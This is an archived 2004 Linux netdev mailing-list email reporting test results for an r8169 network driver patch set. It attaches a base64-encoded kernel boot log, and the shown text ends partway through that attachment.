(mail2.magma.ca [206.191.0.214]) by mx2.magma.ca (Magma Relay Server) with ESMTP id i0NGjQiE005110; Fri, 23 Jan 2004 11:45:26 -0500 Received: from 192.168.2.165 (ottawa-hs-64-26-167-205.d-ip.magma.ca [64.26.167.205]) (authenticated bits=0) by mail2.magma.ca (8.12.10/8.12.9) with ESMTP id i0NGjNRW008957 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 23 Jan 2004 11:45:24 -0500 Subject: r8169 patch set From: Douglas Pollock Reply-To: dpollock@acm.org To: Francois Romieu Cc: netdev@oss.sgi.com Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-+b+o+Nauv6IRsJ8frHIt" Message-Id: <1074876326.5510.5.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Fri, 23 Jan 2004 11:45:26 -0500 X-archive-position: 2704 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: douglas.pollock@magma.ca Precedence: bulk X-list: netdev --=-+b+o+Nauv6IRsJ8frHIt Content-Type: multipart/mixed; boundary="=-dz+BR0MQyEpTpwYPNQoK" --=-dz+BR0MQyEpTpwYPNQoK Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Francois, I've tried three combinations: patched with SMP, patched without SMP, and unpatched without SMP. All kernels were based on 2.6.2-rc1. I've attached my comments on the the combinations, dmesg output from the three, lspci, lsmod, proc/interrupts and ifconfig. Let me know if you would like me to test something in particular. Doug --=-dz+BR0MQyEpTpwYPNQoK Content-Disposition: attachment; filename=dmesg.patched.one_cpu Content-Type: text/plain; name=dmesg.patched.one_cpu; charset=ANSI_X3.4-1968 Content-Transfer-Encoding: base64 TGludXggdmVyc2lvbiAyLjYuMi1yYzEgKHJvb3RAc2FoYmkpIChnY2MgdmVyc2lvbiAzLjIuMyAy MDAzMDQyMiAoR2VudG9vIExpbnV4IDEuNCAzLjIuMy1yMywgcHJvcG9saWNlKSkgIzIgRnJpIEph biAyMyAwOToxMToxMCBFU1QgMjAwNA0KQklPUy1wcm92aWRlZCBwaHlzaWNhbCBSQU0gbWFwOg0K IEJJT1MtZTgyMDogMDAwMDAwMDAwMDAwMDAwMCAtIDAwMDAwMDAwMDAwOWZjMDAgKHVzYWJsZSkN CiBCSU9TLWU4MjA6IDAwMDAwMDAwMDAwOWZjMDAgLSAwMDAwMDAwMDAwMGEwMDAwIChyZXNlcnZl ZCkNCiBCSU9TLWU4MjA6IDAwMDAwMDAwMDAwZTAwMDAgLSAwMDAwMDAwMDAwMTAwMDAwIChyZXNl cnZlZCkNCiBCSU9TLWU4MjA6IDAwMDAwMDAwMDAxMDAwMDAgLSAwMDAwMDAwMDNmZmQwMDAwICh1 c2FibGUpDQogQklPUy1lODIwOiAwMDAwMDAwMDNmZmQwMDAwIC0gMDAwMDAwMDAzZmZkZjAwMCAo QUNQSSBkYXRhKQ0KIEJJT1MtZTgyMDogMDAwMDAwMDAzZmZkZjAwMCAtIDAwMDAwMDAwNDAwMDAw MDAgKEFDUEkgTlZTKQ0KIEJJT1MtZTgyMDogMDAwMDAwMDBmZmY4MDAwMCAtIDAwMDAwMDAxMDAw MDAwMDAgKHJlc2VydmVkKQ0KV2FybmluZyBvbmx5IDg5Nk1CIHdpbGwgYmUgdXNlZC4NClVzZSBh IEhJR0hNRU0gZW5hYmxlZCBrZXJuZWwuDQo4OTZNQiBMT1dNRU0gYXZhaWxhYmxlLg0KT24gbm9k ZSAwIHRvdGFscGFnZXM6IDIyOTM3Ng0KICBETUEgem9uZTogNDA5NiBwYWdlcywgTElGTyBiYXRj aDoxDQogIE5vcm1hbCB6b25lOiAyMjUyODAgcGFnZXMsIExJRk8gYmF0Y2g6MTYNCiAgSGlnaE1l bSB6b25lOiAwIHBhZ2VzLCBMSUZPIGJhdGNoOjENCkRNSSAyLjMgcHJlc2VudC4NCkFDUEk6IFJT RFAgKHYwMDAgQUNQSUFNICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKSBAIDB4 MDAwZjU1ZDANCkFDUEk6IFJTRFQgKHYwMDEgQSBNIEkgIE9FTVJTRFQgIDB4MTIwMDAzMDIgTVNG VCAweDAwMDAwMDk3KSBAIDB4M2ZmZDAwMDANCkFDUEk6IEZBRFQgKHYwMDEgQSBNIEkgIE9FTUZB Q1AgIDB4MTIwMDAzMDIgTVNGVCAweDAwMDAwMDk3KSBAIDB4M2ZmZDAyMDANCkFDUEk6IE1BRFQg KHYwMDEgQSBNIEkgIE9FTUFQSUMgIDB4MTIwMDAzMDIgTVNGVCAweDAwMDAwMDk3KSBAIDB4M2Zm ZDAzOTANCkFDUEk6IE9FTUIgKHYwMDEgQSBNIEkgIEFNSV9PRU0gIDB4MTIwMDAzMDIgTVNGVCAw eDAwMDAwMDk3KSBAIDB4M2ZmZGYwNDANCkFDUEk6IERTRFQgKHYwMDEgIDFBQkZTIDFBQkZTMDAx IDB4MDAwMDAwMDEgSU5UTCAweDAyMDAyMDI2KSBAIDB4MDAwMDAwMDANCkJ1aWxkaW5nIHpvbmVs aXN0IGZvciBub2RlIDogMA0KS2VybmVsIGNvbW1hbmQgbGluZTogcm9vdD0vZGV2L2hkYTUgdmdh PTc5MQ0KSW5pdGlhbGl6aW5nIENQVSMwDQpQSUQgaGFzaCB0YWJsZSBlbnRyaWVzOiA0MDk2IChv cmRlciAxMjogMzI3NjggYnl0ZXMpDQpEZXRlY3RlZCAyODAwLjQ1MCBNSHogcHJvY2Vzc29yLg0K VXNpbmcgdHNjIGZvciBoaWdoLXJlcyB0aW1lc291cmNlDQpDb25zb2xlOiBjb2xvdXIgZHVtbXkg ZGV2aWNlIDgweDI1DQpNZW1vcnk6IDkwNDY2OGsvOTE3NTA0ayBhdmFpbGFibGUgKDE4NzVrIGtl cm5lbCBjb2RlLCAxMjA1MmsgcmVzZXJ2ZWQsIDcxNGsgZGF0YSwgMTMyayBpbml0LCAwayBoaWdo bWVtKQ0KQ2hlY2tpbmcgaWYgdGhpcyBwcm9jZXNzb3IgaG9ub3VycyB0aGUgV1AgYml0IGV2ZW4g aW4gc3VwZXJ2aXNvciBtb2RlLi4uIE9rLg0KQ2FsaWJyYXRpbmcgZGVsYXkgbG9vcC4uLiA1NTM3 Ljc5IEJvZ29NSVBTDQpEZW50cnkgY2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiAxMzEwNzIgKG9y ZGVyOiA3LCA1MjQyODggYnl0ZXMpDQpJbm9kZS1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDY1 NTM2IChvcmRlcjogNiwgMjYyMTQ0IGJ5dGVzKQ0KTW91bnQtY2FjaGUgaGFzaCB0YWJsZSBlbnRy aWVzOiA1MTIgKG9yZGVyOiAwLCA0MDk2IGJ5dGVzKQ0KQ1BVOiAgICAgQWZ0ZXIgZ2VuZXJpYyBp ZGVudGlmeSwgY2FwczogYmZlYmZiZmYgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCkNQVTog ICAgIEFmdGVyIHZlbmRvciBpZGVudGlmeSwgY2FwczogYmZlYmZiZmYgMDAwMDAwMDAgMDAwMDAw MDAgMDAwMDAwMDANCkNQVTogVHJhY2UgY2FjaGU6IDEySyB1b3BzLCBMMSBEIGNhY2hlOiA4Sw0K Q1BVOiBMMiBjYWNoZTogNTEySw0KQ1BVOiAgICAgQWZ0ZXIgYWxsIGluaXRzLCBjYXBzOiBiZmVi ZmJmZiAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDA4MA0KSW50ZWwgbWFjaGluZSBjaGVjayBhcmNo aXRlY3R1cmUgc3VwcG9ydGVkLg0KSW50ZWwgbWFjaGluZSBjaGVjayByZXBvcnRpbmcgZW5hYmxl ZCBvbiBDUFUjMC4NCkNQVSMwOiBJbnRlbCBQNC9YZW9uIEV4dGVuZGVkIE1DRSBNU1JzICgxMikg YXZhaWxhYmxlDQpDUFU6IEludGVsKFIpIFBlbnRpdW0oUikgNCBDUFUgMi44MEdIeiBzdGVwcGlu ZyAwOQ0KRW5hYmxpbmcgZmFzdCBGUFUgc2F2ZSBhbmQgcmVzdG9yZS4uLiBkb25lLg0KRW5hYmxp bmcgdW5tYXNrZWQgU0lNRCBGUFUgZXhjZXB0aW9uIHN1cHBvcnQuLi4gZG9uZS4NCkNoZWNraW5n ICdobHQnIGluc3RydWN0aW9uLi4uIE9LLg0KUE9TSVggY29uZm9ybWFuY2UgdGVzdGluZyBieSBV TklGSVgNCk5FVDogUmVnaXN0ZXJlZCBwcm90b2NvbCBmYW1pbHkgMTYNClBDSTogUENJIEJJT1Mg cmV2aXNpb24gMi4xMCBlbnRyeSBhdCAweGYwMDMxLCBsYXN0IGJ1cz0xDQpQQ0k6IFVzaW5nIGNv bmZpZ3VyYXRpb24gdHlwZSAxDQptdHJyOiB2Mi4wICgyMDAyMDUxOSkNCkFDUEk6IFN1YnN5c3Rl bSByZXZpc2lvbiAyMDAzMTAwMg0KQUNQSTogSW50ZXJwcmV0ZXIgZW5hYmxlZA0KQUNQSTogVXNp bmcgUElDIGZvciBpbnRlcnJ1cHQgcm91dGluZw0KQUNQSTogUENJIFJvb3QgQnJpZGdlIFtQQ0kw XSAoMDA6MDApDQpQQ0k6IFByb2JpbmcgUENJIGhhcmR3YXJlIChidXMgMDApDQpVbmNvdmVyaW5n IFNJUzk2MyB0aGF0IGhpZCBhcyBhIFNJUzUwMyAoY29tcGF0aWJsZT0xKQ0KRW5hYmxpbmcgU2lT IDk2eCBTTUJ1cy4NCkFDUEk6IFBDSSBJbnRlcnJ1cHQgUm91dGluZyBUYWJsZSBbXF9TQl8uUENJ MC5fUFJUXQ0KQUNQSTogRW1iZWRkZWQgQ29udHJvbGxlciBbRUMwXSAoZ3BlIDExKQ0KQUNQSTog UENJIEludGVycnVwdCBMaW5rIFtMTktBXSAoSVJRcyAzIDQgNSA3IDEwICoxMSAxMiAxNCAxNSkN CkFDUEk6IFBDSSBJbnRlcnJ1cHQgTGluayBbTE5LQl0gKElSUXMgMyA0IDUgNyAqMTAgMTEgMTIg MTQgMTUpDQpBQ1BJOiBQQ0kgSW50ZXJydXB0IExpbmsgW0xOS0NdIChJUlFzIDMgNCA1IDcgMTAg KjExIDEyIDE0IDE1KQ0KQUNQSTogUENJIEludGVycnVwdCBMaW5rIFtMTktEXSAoSVJRcyAqMyA0 IDUgNyAxMCAxMSAxMiAxNCAxNSkNCkFDUEk6IFBDSSBJbnRlcnJ1cHQgTGluayBbTE5LRV0gKElS UXMgMyA0IDUgNyAxMCAqMTEgMTIgMTQgMTUpDQpBQ1BJOiBQQ0kgSW50ZXJydXB0IExpbmsgW0xO S0ZdIChJUlFzIDMgNCA1IDcgKjEwIDExIDEyIDE0IDE1KQ0KQUNQSTogUENJIEludGVycnVwdCBM aW5rIFtMTktHXSAoSVJRcyAzIDQgNSA3IDEwICoxMSAxMiAxNCAxNSkNCkFDUEk6IFBDSSBJbnRl cnJ1cHQgTGluayBbTE5LSF0gKElSUXMgMyA0IDUgNyAxMCAqMTEgMTIgMTQgMTUpDQpMaW51eCBQ bHVnIGFuZCBQbGF5IFN1cHBvcnQgdjAuOTcgKGMpIEFkYW0gQmVsYXkNClNDU0kgc3Vic3lzdGVt IGluaXRpYWxpemVkDQpBQ1BJOiBQQ0kgSW50ZXJydXB0IExpbmsgW0xOS0JdIGVuYWJsZWQgYXQg SVJRIDEwDQpBQ1BJOiBQQ0kgSW50ZXJydXB0IExpbmsgW0xOS0NdIGVuYWJsZWQgYXQgSVJRIDEx DQpBQ1BJOiBQQ0kgSW50ZXJydXB0IExpbmsgW0xOS0VdIGVuYWJsZWQgYXQgSVJRIDExDQpBQ1BJ OiBQQ0kgSW50ZXJydXB0IExpbmsgW0xOS0ZdIGVuYWJsZWQgYXQgSVJRIDEwDQpBQ1BJOiBQQ0kg SW50ZXJydXB0IExpbmsgW0xOS0ddIGVuYWJsZWQgYXQgSVJRIDExDQpBQ1BJOiBQQ0kgSW50ZXJy dXB0IExpbmsgW0xOS0hdIGVuYWJsZWQgYXQgSVJRIDExDQpBQ1BJOiBQQ0kgSW50ZXJydXB0IExp bmsgW0xOS0RdIGVuYWJsZWQgYXQgSVJRIDMNCkFDUEk6IFBDSSBJbnRlcnJ1cHQgTGluayBbTE5L QV0gZW5hYmxlZCBhdCBJUlEgMTENClBDSTogVXNpbmcgQUNQSSBmb3IgSVJRIHJvdXRpbmcNClBD STogaWYgeW91IGV4cGVyaWVuY2UgcHJvYmxlbXMsIHRyeSB1c2luZyBvcHRpb24gJ3BjaT1ub2Fj cGknIG9yIGV2ZW4gJ2FjcGk9b2ZmJw0KdmVzYWZiOiBmcmFtZWJ1ZmZlciBhdCAweGMwMDAwMDAw LCBtYXBwZWQgdG8gMHhmODgwYTAwMCwgc2l6ZSAxNjM4NGsNCnZlc2FmYjogbW9kZSBpcyAxMDI0 eDc2OHgxNiwgbGluZWxlbmd0aD0yMDQ4LCBwYWdlcz0xDQp2ZXNhZmI6IHByb3RlY3RlZCBtb2Rl IGludGVyZmFjZSBpbmZvIGF0IGMwMDA6ZTU5MA0KdmVzYWZiOiBzY3JvbGxpbmc6IHJlZHJhdw0K dmVzYWZiOiBkaXJlY3Rjb2xvcjogc2l6ZT0wOjU6Njo1LCBzaGlmdD0wOjExOjU6MA0KZmIwOiBW RVNBIFZHQSBmcmFtZSBidWZmZXIgZGV2aWNlDQpNYWNoaW5lIGNoZWNrIGV4Y2VwdGlvbiBwb2xs aW5nIHRpbWVyIHN0YXJ0ZWQuDQpkZXZmczogdjEuMjIgKDIwMDIxMDEzKSBSaWNoYXJkIEdvb2No IChyZ29vY2hAYXRuZi5jc2lyby5hdSkNCmRldmZzOiBib290X29wdGlvbnM6IDB4MA0KSW5zdGFs bGluZyBrbmZzZCAoY29weXJpZ2h0IChDKSAxOTk2IG9raXJAbW9uYWQuc3diLmRlKS4NCkluaXRp YWxpemluZyBDcnlwdG9ncmFwaGljIEFQSQ0KQUNQSTogQUMgQWRhcHRlciBbQUMwXSAob24tbGlu ZSkNCkFDUEk6IEJhdHRlcnkgU2xvdCBbQkFUMF0gKGJhdHRlcnkgcHJlc2VudCkNCkFDUEk6IFBv d2VyIEJ1dHRvbiAoRkYpIFtQV1JGXQ0KQUNQSTogTGlkIFN3aXRjaCBbTElEXQ0KQUNQSTogU2xl ZXAgQnV0dG9uIChDTSkgW1NMUEJdDQpBQ1BJOiBQcm9jZXNzb3IgW0NQVTFdIChzdXBwb3J0cyBD MSwgOCB0aHJvdHRsaW5nIHN0YXRlcykNCkFDUEk6IFRoZXJtYWwgWm9uZSBbVEhSTV0gKDc1IEMp DQpDb25zb2xlOiBzd2l0Y2hpbmcgdG8gY29sb3VyIGZyYW1lIGJ1ZmZlciBkZXZpY2UgMTI4eDQ4 DQpwdHk6IDI1NiBVbml4OTggcHR5cyBjb25maWd1cmVkDQpTZXJpYWw6IDgyNTAvMTY1NTAgZHJp dmVyICRSZXZpc2lvbjogMS45MCAkIDggcG9ydHMsIElSUSBzaGFyaW5nIGRpc2FibGVkDQp0dHlT MCBhdCBJL08gMHgzZjggKGlycSA9IDQpIGlzIGEgTlMxNjU1MEENClVuaWZvcm0gTXVsdGktUGxh dGZvcm0gRS1JREUgZHJpdmVyIFJldmlzaW9uOiA3LjAwYWxwaGEyDQppZGU6IEFzc3VtaW5nIDMz TUh6IHN5c3RlbSBidXMgc3BlZWQgZm9yIFBJTyBtb2Rlczsgb3ZlcnJpZGUgd2l0aCBpZGVidXM9 eHgNClNJUzU1MTM6IElERSBjb250cm9sbGVyIGF0IFBDSSBzbG90IDAwMDA6MDA6MDIuNQ0KU0lT NTUxMzogY2hpcHNldCByZXZpc2lvbiAwDQpTSVM1NTEzOiBub3QgMTAwJSBuYXRpdmUgbW9kZTog d2lsbCBwcm9iZSBpcnFzIGxhdGVyDQpTSVM1NTEzOiBTaVMgOTYyLzk2MyBNdVRJT0wgSURFIFVE TUExMzMgY29udHJvbGxlcg0KICAgIGlkZTA6IEJNLURNQSBhdCAweGZmYTAtMHhmZmE3LCBCSU9T IHNldHRpbmdzOiBoZGE6RE1BLCBoZGI6RE1BDQogICAgaWRlMTogQk0tRE1BIGF0IDB4ZmZhOC0w eGZmYWYsIEJJT1Mgc2V0dGluZ3M6IGhkYzpETUEsIGhkZDpETUENCmhkYTogSFRTNzI2MDYwTTlB VDAwLCBBVEEgRElTSyBkcml2ZQ0KVXNpbmcgYW50aWNpcGF0b3J5IGlvIHNjaGVkdWxlcg0KaWRl MCBhdCAweDFmMC0weDFmNywweDNmNiBvbiBpcnEgMTQNCmhkYzogUVNJIENELVJXL0RWRC1ST00g U0JXMjQyVSwgQVRBUEkgQ0QvRFZELVJPTSBkcml2ZQ0KaWRlMSBhdCAweDE3MC0weDE3NywweDM3 NiBvbiBpcnEgMTUNCmhkYTogbWF4IHJlcXVlc3Qgc2l6ZTogMTAyNEtpQg0KaGRhOiAxMTcyMTAy NDAgc2VjdG9ycyAoNjAwMTEgTUIpIHcvNzg3N0tpQiBDYWNoZSwgQ0hTPTE2MzgzLzI1NS82Mywg VURNQSgzMykNCiAvZGV2L2lkZS9ob3N0MC9idXMwL3RhcmdldDAvbHVuMDogcDEgcDIgcDMgcDQg PCBwNSBwNiA+DQpDb25zb2xlOiBzd2l0Y2hpbmcgdG8gY29sb3VyIGZyYW1lIGJ1ZmZlciBkZXZp Y2UgMTI4eDQ4DQptaWNlOiBQUy8yIG1vdXNlIGRldmljZSBjb21tb24gZm9yIGFsbCBtaWNlDQpp ODA0Mi5jOiBEZXRlY3RlZCBhY3RpdmUgbXVsdGlwbGV4aW5nIGNvbnRyb2xsZXIsIHJldiAxLjAu DQpzZXJpbzogaTgwNDIgQVVYMCBwb3J0IGF0IDB4NjAsMHg2NCBpcnEgMTINCnNlcmlvOiBpODA0 MiBBVVgxIHBvcnQgYXQgMHg2MCwweDY0IGlycSAxMg0KU3luYXB0aWNzIFRvdWNocGFkLCBtb2Rl bDogMQ0KIEZpcm13YXJlOiA1LjkNCiAxODAgZGVncmVlIG1vdW50ZWQgdG91Y2hwYWQNCiBTZW5z b3I6IDM1DQogbmV3IGFic29sdXRlIHBhY2tldCBmb3JtYXQNCiBUb3VjaHBhZCBoYXMgZXh0ZW5k ZWQgY2FwYWJpbGl0eSBiaXRzDQogLT4gbXVsdGlmaW5nZXIgZGV0ZWN0aW9uDQogLT4gcGFsbSBk ZXRlY3Rpb24NCmlucHV0OiBTeW5QUy8yIFN5bmFwdGljcyBUb3VjaFBhZCBvbiBpc2EwMDYwL3Nl cmlvMg0Kc2VyaW86IGk4MDQyIEFVWDIgcG9ydCBhdCAweDYwLDB4NjQgaXJxIDEyDQpzZXJpbzog aTgwNDIgQVVYMyBwb3J0IGF0IDB4NjAsMHg2NCBpcnEgMTINCnNlcmlvOiBpODA0MiBLQkQgcG9y dCBhdCAweDYwLDB4NjQgaXJxIDENCmlucHV0OiBBVCBUcmFuc2xhdGVkIFNldCAyIGtleWJvYXJk IG9uIGlzYTAwNjAvc2VyaW8wDQpkZXZpY2UtbWFwcGVyOiA0LjAuMC1pb2N0bCAoMjAwMy0wNi0w NCkgaW5pdGlhbGlzZWQ6IGRtQHVrLnNpc3RpbmEuY29tDQpORVQ6IFJlZ2lzdGVyZWQgcHJvdG9j b2wgZmFtaWx5IDINCklQOiByb3V0aW5nIGNhY2hlIGhhc2ggdGFibGUgb2YgODE5MiBidWNrZXRz LCA2NEtieXRlcw0KVENQOiBIYXNoIHRhYmxlcyBjb25maWd1cmVkIChlc3RhYmxpc2hlZCAyNjIx NDQgYmluZCA2NTUzNikNCk5FVDogUmVnaXN0ZXJlZCBwcm90b2NvbCBmYW1pbHkgMQ0KTkVUOiBS ZWdpc3RlcmVkIHByb3RvY29sIGZhbWlseSAxNw0KUE06IFJlYWRpbmcgcG1kaXNrIGltYWdlLg0K UE06IFJlc3VtZSBmcm9tIGRpc2sgZmFpbGVkLg0KZm91bmQgcmVpc2VyZnMgZm9ybWF0ICIzLjYi IHdpdGggc3RhbmRhcmQgam91cm5hbA0KUmVpc2VyZnMgam91cm5hbCBwYXJhbXM6IGRldmljZSBo ZGE1LCBzaXplIDgxOTIsIGpvdXJuYWwgZmlyc3QgYmxvY2sgMTgsIG1heCB0cmFucyBsZW4gMTAy NCwgbWF4IGJhdGNoIDkwMCwgbWF4IGNvbW1pdCBhZ2UgMzAsIG1heCB0cmFucyBhZ2UgMzANCnJl aXNlcmZzOiBjaGVja2luZyB0cmFuc2FjdGlvbiBsb2cgKGhkYTUpIGZvciAoaGRhNSkNClVzaW5n IHI1IGhhc2ggdG8gc29ydCBuYW1lcw0KVkZTOiBNb3VudGVkIHJvb3QgKHJlaXNlcmZzIGZpbGVz eXN0ZW0pIHJlYWRvbmx5Lg0KRnJlZWluZyB1bnVzZWQga2VybmVsIG1lbW9yeTogMTMyayBmcmVl ZA0KQWRkaW5nIDEwMDQwNTJrIHN3YXAgb24gL2Rldi9oZGEzLiAgUHJpb3JpdHk6LTEgZXh0ZW50 czoxDQpjZHJvbTogOiB1bmtub3duIG1ydyBtb2RlIHBhZ2UNCmhkYzogQVRBUEkgMjRYIERWRC1S T00gQ0QtUi9SVyBkcml2ZSwgMjA0OGtCIENhY2hlLCBVRE1BKDMzKQ0KVW5pZm9ybSBDRC1ST00g ZHJpdmVyIFJldmlzaW9uOiAzLjIwDQpudmlkaWE6IG5vIHZlcnNpb24gbWFnaWMsIHRhaW50aW5n IGtlcm5lbC4NCm52aWRpYTogbW9kdWxlIGxpY2Vuc2UgJ05WSURJQScgdGFpbnRzIGtlcm5lbC4N CjA6IG52aWRpYTogbG9hZGluZyBOVklESUEgTGludXggeDg2IG52aWRpYS5vIEtlcm5lbCBNb2R1 bGUgIDEuMC00NDk2ICBXZWQgSnVsIDE2IDE5OjAzOjA5IFBEVCAyMDAzDQpjZHJvbTogb3BlbiBm YWlsZWQuDQpmb3VuZCByZWlzZXJmcyBmb3JtYXQgIjMuNiIgd2l0aCBzdGFuZGFyZCBqb3VybmFs DQpSZWlzZXJmcyBqb3VybmFsIHBhcmFtczogZGV2aWNlIGRtLTIsIHNpemUgODE5Miwgam91cm5h bCBmaXJzdCBibG9jayAxOCwgbWF4IHRyYW5zIGxlbiAxMDI0LCBtYXggYmF0Y2ggOTAwLCBtYXgg Y29tbWl0IGFnZSAzMCwgbWF4IHRyYW5zIGFnZSAzMA0KcmVpc2VyZnM6IGNoZWNraW5nIHRyYW5z YWN0aW9uIGxvZyAoZG0tMikgZm9yIChkbS0yKQ0KVXNpbmcgcjUgaGFzaCB0byBzb3J0IG5hbWVz DQpmb3VuZCByZWlzZXJmcyBmb3JtYXQgIjMuNiIgd2l0aCBzdGFuZGFyZCBqb3VybmFsDQpSZWlz ZXJmcyBqb3VybmFsIHBhcmFtczogZGV2aWNlIGRtLTMsIHNpemUgODE5Miwgam91cm5hbCBmaXJz dCBibG9jayAxOCwgbWF4IHRyYW5zIGxlbiAxMDI0LCBtYXggYmF0Y2ggOTAwLCBtYXggY29tbWl0 IGFnZSAzMCwgbWF4IHRyYW5zIGFnZSAzMA0KcmVpc2VyZnM6IGNoZWNraW5nIHRyYW5zYWN0aW9u IGxvZyAoZG0tMykgZm9yIChkbS0zKQ0KVXNpbmcgcjUgaGFzaCB0byBzb3J0IG5hbWVzDQpmb3Vu ZCByZWlzZXJmcyBmb3JtYXQgIjMuNiIgd2l0aCBzdGFuZGFyZCBqb3VybmFsDQpSZWlzZXJmcyBq b3VybmFsIHBhcmFtczogZGV2aWNlIGRtLTAsIHNpemUgODE5Miwgam91cm5hbCBmaXJzdCBibG9j ayAxOCwgbWF4IHRyYW5zIGxlbiAxMDI0LCBtYXggYmF0Y2ggOTAwLCBtYXggY29tbWl0IGFnZSAz MCwgbWF4IHRyYW5zIGFnZSAzMA0KcmVpc2VyZnM6IGNoZWNraW5nIHRyYW5zYWN0aW9uIGxvZyAo ZG0tMCkgZm9yIChkbS0wKQ0KVXNpbmcgcjUgaGFzaCB0byBzb3J0IG5hbWVzDQpmb3VuZCByZWlz ZXJmcyBmb3JtYXQgIjMuNiIgd2l0aCBzdGFuZGFyZCBqb3VybmFsDQpSZWlzZXJmcyBqb3VybmFs IHBhcmFtczogZGV2aWNlIGRtLTQsIHNpemUgODE5Miwgam91cm5hbCBmaXJzdCBibG9jayAxOCwg bWF4IHRyYW5zIGxlbiAxMDI0LCBtYXggYmF0Y2ggOTAwLCBtYXggY29tbWl0IGFnZSAzMCwgbWF4 IHRyYW5zIGFnZSAzMA0KcmVpc2VyZnM6IGNoZWNraW5nIHRyYW5zYWN0aW9uIGxvZyAoZG0tNCkg Zm9yIChkbS00KQ0KVXNpbmcgcjUgaGFzaCB0byBzb3J0IG5hbWVzDQpmb3VuZCByZWlzZXJmcyBm b3JtYXQgIjMuNiIgd2l0aCBzdGFuZGFyZCBqb3VybmFsDQpSZWlzZXJmcyBqb3VybmFsIHBhcmFt czogZGV2aWNlIGRtLTEsIHNpemUgODE5Miwgam91cm5hbCBmaXJzdCBibG9jayAxOCwgbWF4IHRy YW5zIGxlbiAxMDI0LCBtYXggYmF0Y2ggOTAwLCBtYXggY29tbWl0IGFnZSAzMCwgbWF4IHRyYW5z IGFnZSAzMA0KcmVpc2VyZnM6IGNoZWNraW5nIHRyYW5zYWN0aW9uIGxvZyAoZG0tMSkgZm9yIChk bS0xKQ0KVXNpbmcgcjUgaGFzaCB0byBzb3J0IG5hbWVzDQpOVEZTIGRyaXZlciAyLjEuNiBbRmxh Z3M6IFIvTyBNT0RVTEVdLg0KTlRGUyB2b2x1bWUgdmVyc2lvbiAzLjEuDQpkcml2ZXJzL3VzYi9j b3JlL3VzYi5jOiByZWdpc3RlcmVkIG5ldyBkcml2ZXIgdXNiZnMNCmRyaXZlcnMvdXNiL2NvcmUv dXNiLmM6IHJlZ2lzdGVyZWQgbmV3IGRyaXZlciBodWINClJlYWwgVGltZSBDbG9jayBEcml2ZXIg djEuMTINCnJlcXVlc3RfbW9kdWxlOiBmYWlsZWQgL3NiaW4vbW9kcHJvYmUgLS0gc25kLWNhcmQt MC4gZXJyb3IgPSAyNTYNCmludGVsOHgwOiBjbG9ja2luZyB0byA0ODAwMA0KcjgxNjkgR2lnYWJp dCBFdGhlcm5ldCBkcml2ZXIgMS4yIGxvYWRlZA0KZXRoMDogSWRlbnRpZmllZCBjaGlwIHR5cGUg aXMgJ1JUTDgxNjlzLzgxMTBzJy4NCmV0aDA6IFJUTDgxNjkgYXQgMHhmOWVlZGMwMCwgMDA6MDM6 MGQ6MTA6NDU6M2MsIElSUSAzDQpldGgwOiBBdXRvLW5lZ290aWF0aW9uIEVuYWJsZWQuDQpldGgw OiAxMDBNYnBzIEZ1bGwtZHVwbGV4IG9wZXJhdGlvbi4NCkxpbnV4IEtlcm5lbCBDYXJkIFNlcnZp Y2VzDQogIG9wdGlvbnM6ICBbcGNpXSBbY2FyZGJ1c10gW3BtXQ0KWWVudGE6IENhcmRCdXMgYnJp ZGdlIGZvdW5kIGF0IDAwMDA6MDA6MDkuMCBbMTU4NDozMDA1XQ0KWWVudGE6IElTQSBJUlEgbWFz ayAweDAyYjAsIFBDSSBpcnEgMTANClNvY2tldCBzdGF0dXM6IDMwMDAwMDA2DQpZZW50YTogQ2Fy ZEJ1cyBicmlkZ2UgZm91bmQgYXQgMDAwMDowMDowOS4xIFsxNTg0OjMwMDVdDQpZZW50YTogSVNB IElSUSBtYXNrIDB4MDJiMCwgUENJIGlycSAxMA0KU29ja2V0IHN0YXR1czogMzAwMDAwMDYNCmVo Y2lfaGNkIDAwMDA6MDA6MDMuMzogRUhDSSBIb3N0IENvbnRyb2xsZXINCmVoY2lfaGNkIDAwMDA6 MDA6MDMuMzogaXJxIDExLCBwY2kgbWVtIGY5ZjIwMDAwDQplaGNpX2hjZCAwMDAwOjAwOjAzLjM6 IG5ldyBVU0IgYnVzIHJlZ2lzdGVyZWQsIGFzc2lnbmVkIGJ1cyBudW1iZXIgMQ0KUENJOiBjYWNo ZSBsaW5lIHNpemUgb2YgMTI4IGlzIG5vdCBzdXBwb3J0ZWQgYnkgZGV2aWNlIDAwMDA6MDA6MDMu Mw0KZWhjaV9oY2QgMDAwMDowMDowMy4zOiBVU0IgMi4wIGVuYWJsZWQsIEVIQ0kgMS4wMCwgZHJp dmVyIDIwMDMtRGVjLTI5DQpodWIgMS0wOjEuMDogVVNCIGh1YiBmb3VuZA0KaHViIDEtMDoxLjA6 IDYgcG9ydHMgZGV0ZWN0ZWQNCm9oY2lfaGNkOiAyMDAzIE9jdCAxMyBVU0IgMS4xICdPcGVuJyBI b3N0IENvbnRyb2xsZXIgKE9IQ0kpIERyaXZlciAoUENJKQ0Kb2hjaV9oY2Q6IGJsb2NrIHNpemVz OiBlZCA2NCB0ZCA2NA0Kb2hjaV9oY2QgMDAwMDowMDowMy4wOiBPSENJIEhvc3QgQ29udHJvbGxl cg0Kb2hjaV9oY2QgMDAwMDowMDowMy4wOiBpcnEgMTEsIHBjaSBtZW0gZjlmNTgwMDANCm9oY2lf aGNkIDAwMDA6MDA6MDMuMDogbmV3IFVTQiBidXMgcmVnaXN0ZXJlZCwgYXNzaWduZWQgYnVzIG51 bWJlciAyDQpodWIgMi0wOjEuMDogVVNCIGh1YiBmb3VuZA0KaHViIDItMDoxLjA6IDIgcG9ydHMg ZGV0ZWN0ZWQNCm9oY2lfaGNkIDAwMDA6MDA6MDMuMTogT0hDSSBIb3N0IENvbnRyb2xsZXINCm9o 